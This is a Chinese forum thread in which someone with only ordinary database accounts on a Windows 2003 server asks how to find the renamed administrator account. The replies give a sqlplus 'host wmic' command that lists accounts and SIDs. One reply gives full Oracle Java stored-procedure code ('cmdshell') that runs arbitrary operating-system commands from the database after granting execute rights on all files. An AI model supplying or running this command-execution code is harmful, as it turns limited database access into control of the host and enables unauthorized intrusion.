win2003请问我要怎么才能找到系统的超级管理员帐号呢 谢谢
win2003
把系统的超级管理员帐号更改后 只记得密码 帐号没记住 不知道怎么能查到
现在sqlserver普通帐号 有master表的查询权限
还有oracle10g的各帐号权限
mysql的各帐号权限
请问我要怎么才能找到系统的超级管理员帐号呢 谢谢
[解决办法]
oracle 在 sqlplus 中运行
> host wmic path win32_account get caption,sid
注意 sid 最后为 500 的就是超级管理员帐号。
[解决办法]
C:\Documents and Settings\xxx\Application Data\Microsoft\Credentials\S-1-5-21-2997078278-965599205-3566205842-1022
如果最后的数字是500。
[解决办法]
create or replace and compile java source named "shellcmd"asimport java.io.*;import java.lang.*; public class shellcmd extends Object{ public static int runcmd(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } }}create or replace procedure cmdshell(command in varchar2)aslanguage java name 'shellcmd.runcmd(java.lang.String)';exec dbms_java.grant_permission('SYSTEM','SYS:java.io.FilePermission','<<ALL FILES>>','execute');-- 调用存储过程执行系统命令set serveroutput onexec dbms_java.set_output(100000);exec cmdshell('...');